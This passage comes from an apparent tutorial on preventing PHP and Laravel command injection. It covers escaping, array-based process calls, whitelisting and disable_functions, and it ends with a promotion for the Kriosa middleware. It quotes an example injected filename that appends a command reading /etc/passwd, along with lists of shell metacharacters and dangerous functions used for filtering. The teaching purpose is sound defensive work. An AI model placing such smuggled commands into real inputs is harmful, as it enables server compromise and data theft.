
&lt;/div&gt;



&lt;p&gt;The attacker uses &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt; instead of &lt;code&gt;;&lt;/code&gt;. Bypassed instantly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Wrong fix 2 — Blacklisting known bad characters:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$badChars&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;';'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'&amp;amp;&amp;amp;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'||'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'|'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'`'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="k"&gt;foreach&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$badChars&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nv"&gt;$char&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;strpos&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'filename'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nv"&gt;$char&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;die&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Invalid input'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The attacker uses &lt;code&gt;$()&lt;/code&gt; subshell syntax or a newline character. Bypassed.&lt;/p&gt;

&lt;p&gt;Blacklist-based filters always fail for command injection for the same reason they fail for SQL injection and XSS — the number of ways to represent shell metacharacters is effectively unlimited. You are playing catch-up against an attacker who has infinite variations. You cannot win that game.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Correct Fixes
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Fix 1 — escapeshellarg() for user-supplied values&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;escapeshellarg()&lt;/code&gt; wraps a value in single quotes and escapes any single quotes within it. This forces the shell to treat the entire value as a single argument — not as a command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Safe&lt;/span&gt;
&lt;span class="nv"&gt;$file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;escapeshellarg&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'filename'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="nb"&gt;shell_exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'convert '&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$file&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s1"&gt;' -resize 800x600 output.jpg'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the attacker sends &lt;code&gt;photo.jpg; cat /etc/passwd&lt;/code&gt; the function produces:&lt;br&gt;
'photo.jpg; cat /etc/passwd'&lt;br&gt;
The shell treats the semicolon as part of the filename string — not as a command separator. The injection fails.&lt;/p&gt;

&lt;p&gt;Use &lt;code&gt;escapeshellarg()&lt;/code&gt; for every individual user-supplied argument that reaches a shell function. It is the most important single function in PHP for command injection prevention.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix 2 — escapeshellcmd() for the full command&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;escapeshellcmd()&lt;/code&gt; escapes shell metacharacters in a complete command string. It is less targeted than &lt;code&gt;escapeshellarg()&lt;/code&gt; and should not be used as a substitute for escaping individual arguments.&lt;/p&gt;

&lt;p&gt;The correct pattern is: use &lt;code&gt;escapeshellarg()&lt;/code&gt; on each user-supplied value, and optionally use &lt;code&gt;escapeshellcmd()&lt;/code&gt; on the full command string as an additional layer.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix 3 — Avoid shell functions entirely&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The strongest fix is not calling shell commands at all. Most things developers use shell commands for have PHP library alternatives:&lt;/p&gt;

&lt;p&gt;Instead of calling ImageMagick via shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Dangerous&lt;/span&gt;
&lt;span class="nb"&gt;shell_exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'convert '&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$file&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s1"&gt;' thumbnail.jpg'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// Safe — PHP's Imagick extension&lt;/span&gt;
&lt;span class="nv"&gt;$imagick&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Imagick&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$imagick&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;resizeImage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;800&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;600&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;Imagick&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;FILTER_LANCZOS&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$imagick&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;writeImage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'thumbnail.jpg'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Instead of calling zip via shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Dangerous&lt;/span&gt;
&lt;span class="nb"&gt;shell_exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'zip -r archive.zip '&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$directory&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// Safe — PHP's ZipArchive&lt;/span&gt;
&lt;span class="nv"&gt;$zip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ZipArchive&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nv"&gt;$zip&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'archive.zip'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;ZipArchive&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;CREATE&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$zip&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;addFile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$filepath&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;basename&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$filepath&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="nv"&gt;$zip&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;close&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If PHP has a native library for what you need — use it. Shell commands should be a last resort.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix 4 — Array-based process execution&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When you must run external commands pass arguments as an array rather than a string. When PHP receives an array it passes arguments directly to the operating system without invoking a shell interpreter. No shell means no shell metacharacter parsing. No parsing means no injection.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Dangerous — string goes through shell&lt;/span&gt;
&lt;span class="nb"&gt;shell_exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'convert '&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$file&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s1"&gt;' output.jpg'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// Safe — array bypasses shell entirely&lt;/span&gt;
&lt;span class="nv"&gt;$process&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;proc_open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'convert'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'-resize'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'800x600'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'output.jpg'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'pipe'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'w'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'pipe'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'w'&lt;/span&gt;&lt;span class="p"&gt;]],&lt;/span&gt;
    &lt;span class="nv"&gt;$pipes&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The difference is fundamental. A string command goes through &lt;code&gt;/bin/sh&lt;/code&gt; which interprets every metacharacter. An array command goes directly to the kernel which treats every element as a literal argument.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix 5 — Whitelist before any shell call&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you must use shell commands with user input validate against a strict whitelist before the input reaches any shell function:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$allowedFiles&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'photo1.jpg'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'photo2.jpg'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'photo3.jpg'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'filename'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nb"&gt;in_array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$allowedFiles&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;die&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Invalid file.'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nb"&gt;shell_exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'convert '&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nb"&gt;escapeshellarg&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s1"&gt;' thumbnail.jpg'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Whitelist first. Escape second. Both layers together.&lt;/p&gt;

&lt;h2&gt;
  
  
  Laravel and Command Injection
&lt;/h2&gt;

&lt;p&gt;Laravel 10+ provides a Process facade for running external processes safely:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="kn"&gt;use&lt;/span&gt; &lt;span class="nc"&gt;Illuminate\Support\Facades\Process&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// Safe — array arguments bypass shell interpretation&lt;/span&gt;
&lt;span class="nv"&gt;$result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Process&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s1"&gt;'convert'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$filename&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'-resize'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'800x600'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'output.jpg'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$result&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;successful&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// process the output&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When you pass an array of arguments the Process facade passes them directly to the operating system without going through a shell interpreter. Shell metacharacters in arguments have no effect because there is no shell parsing them.&lt;/p&gt;

&lt;p&gt;This is the correct way to run external commands in Laravel. No shell string. No injection risk.&lt;/p&gt;

&lt;h2&gt;
  
  
  The disable_functions Safety Net
&lt;/h2&gt;

&lt;p&gt;PHP's &lt;code&gt;php.ini&lt;/code&gt; allows you to disable dangerous functions entirely:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="c"&gt;; php.ini
&lt;/span&gt;&lt;span class="py"&gt;disable_functions&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;exec,shell_exec,system,passthru,popen,proc_open&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If your application does not need to execute shell commands — and most do not — disable these functions at the server level. An attacker who finds an injection point cannot exploit it if the function does not exist.&lt;/p&gt;

&lt;p&gt;This is a server-level safety net. It does not replace code-level fixes but limits damage if a vulnerability exists.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Command Injection Prevention Checklist
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;For plain PHP:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Never concatenate user input directly into shell command strings&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;escapeshellarg()&lt;/code&gt; on every user-supplied argument before it reaches a shell function&lt;/li&gt;
&lt;li&gt;Use array-based process execution with &lt;code&gt;proc_open()&lt;/code&gt; instead of string commands where possible&lt;/li&gt;
&lt;li&gt;Use PHP native libraries instead of shell commands wherever they exist&lt;/li&gt;
&lt;li&gt;Validate user input against a strict whitelist before any shell call&lt;/li&gt;
&lt;li&gt;Disable unused shell functions in php.ini with &lt;code&gt;disable_functions&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Never rely on blacklist-based character filtering for command injection prevention&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;For Laravel:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Use the Process facade with array arguments — never string commands&lt;/li&gt;
&lt;li&gt;Validate and whitelist any user-supplied values before passing to Process&lt;/li&gt;
&lt;li&gt;Disable shell functions in php.ini if your application does not need them&lt;/li&gt;
&lt;li&gt;Use Laravel's native file handling, image processing, and archive libraries before reaching for shell commands&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What Was Hitting a Live PHP App Last Week
&lt;/h2&gt;

&lt;p&gt;Last week Kriosa blocked 306 attacks on a live PHP application. Several of those were command injection probes — automated scanners sending payloads that appended system information commands, file-reading operations, and subshell expressions in file parameters, URL fields, and form inputs.&lt;/p&gt;

&lt;p&gt;Here is what one of those attempts looked like in the Kriosa  dashboard:&lt;/p&gt;

&lt;p&gt;![Command injection is one of the most dangerous vulnerabilities in PHP because a single unsanitized argument reaching a shell function can lead to full server compromise.&lt;/p&gt;

&lt;p&gt;In this article, you'll learn:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What command injection is and how it works&lt;/li&gt;
&lt;li&gt;Why functions like &lt;code&gt;exec()&lt;/code&gt;, &lt;code&gt;shell_exec()&lt;/code&gt;, &lt;code&gt;system()&lt;/code&gt;, and &lt;code&gt;passthru()&lt;/code&gt; are high risk&lt;/li&gt;
&lt;li&gt;Common attack techniques and real-world vulnerable code patterns&lt;/li&gt;
&lt;li&gt;Why blacklist-based filtering fails&lt;/li&gt;
&lt;li&gt;How to prevent command injection with &lt;code&gt;escapeshellarg()&lt;/code&gt;, &lt;code&gt;escapeshellcmd()&lt;/code&gt;, input validation, and safer alternatives&lt;/li&gt;
&lt;li&gt;Secure approaches for both plain PHP and Laravel applications&lt;/li&gt;
&lt;li&gt;A practical prevention checklist you can apply immediately&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Whether you're building PHP applications from scratch or maintaining Laravel projects, understanding command injection is essential to protecting your applications from one of the most severe classes of web vulnerabilities.&lt;/p&gt;

&lt;p&gt;Feedback, questions, and alternative approaches are always welcome in the comments.&lt;br&gt;
](&lt;a href="https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/s063bttr5v19w8d34e9k.png" rel="noopener noreferrer"&gt;https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/s063bttr5v19w8d34e9k.png&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;The dashboard shows not just that the request was blocked — but why. Which features of the request triggered the ML model. What the confidence score was. What attack category it matched.&lt;/p&gt;

&lt;p&gt;Most middleware block silently. Kriosa shows you the reasoning.&lt;/p&gt;

&lt;p&gt;If you are running a PHP or Laravel app right now, the same automated scanners that hit this application are hitting yours. The question is whether you can see it when it happens.&lt;/p&gt;

&lt;p&gt;Try it free: &lt;strong&gt;&lt;a href="https://kriosa.com" rel="noopener noreferrer"&gt;kriosa.com&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Install it with Composer, then drop this in at the top of your entry point:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class="c1"&gt;// After Composer installation&lt;/span&gt;
&lt;span class="k"&gt;require_once&lt;/span&gt; &lt;span class="s1"&gt;'vendor/autoload.php'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$apiKey&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'KRIOSA_API_KEY'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;?:&lt;/span&gt; &lt;span class="s1"&gt;'YOUR_API_KEY_HERE'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$kriosa&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Kriosa&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$apiKey&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="s1"&gt;'timeout'&lt;/span&gt;     &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s1"&gt;'debug'&lt;/span&gt;       &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s1"&gt;'fail_closed'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="s1"&gt;'show_badge'&lt;/span&gt;  &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nv"&gt;$kriosa&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;protect&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'X-Kriosa-Blocked: true'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nb"&gt;http_response_code&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;403&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Access Denied'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="nv"&gt;$e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;error_log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Kriosa Security Error: '&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$e&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;getMessage&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;// Your application continues safely...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;&lt;em&gt;Built by a developer from Cameroon, for developers who want to understand their security — not just outsource it.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The Series So Far
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;a href="https://medium.com/system-weakness/what-your-php-logs-actually-look-like-during-an-sql-injection-attack-571aa807f5fe" rel="noopener noreferrer"&gt;What your PHP logs actually look like during a SQL injection attack&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/system-weakness/why-url-encoding-can-break-php-security-checks-and-what-actually-works-748d2ebc848e" rel="noopener noreferrer"&gt;Why URL encoding can break PHP security checks&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/system-weakness/the-decode-bomb-problem-why-unlimited-url-decoding-can-be-its-own-vulnerability-b1cad85c17ff" rel="noopener noreferrer"&gt;The decode bomb problem — why unlimited URL decoding can be its own vulnerability&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/@jnchiminyi/parameterized-queries-the-only-real-fix-for-sql-injection-2e7dafc7897b" rel="noopener noreferrer"&gt;Parameterized queries — the only real fix for SQL injection&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/@jnchiminyi/xss-prevention-in-laravel-why-is-the-line-between-safe-and-hacked-352101b9243a" rel="noopener noreferrer"&gt;XSS prevention in Laravel and why &lt;code&gt;{!! !!}&lt;/code&gt; is the line between safe and hacked&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/@jnchiminyi/how-attackers-enumerate-your-laravel-app-and-what-to-hide-before-they-map-your-entire-backend-7a618ef40e39" rel="noopener noreferrer"&gt;How attackers enumerate your Laravel app and what to hide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/@jnchiminyi/file-upload-security-in-php-and-laravel-the-file-that-isnt-what-it-claims-to-be-768c920b26ac" rel="noopener noreferrer"&gt;File upload security in PHP and Laravel&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/@jnchiminyi/path-traversal-in-php-how-escapes-your-application-d401be98239e" rel="noopener noreferrer"&gt;Path traversal in PHP — how &lt;code&gt;../&lt;/code&gt; escapes your application&lt;/a&gt;&lt;/li&gt;
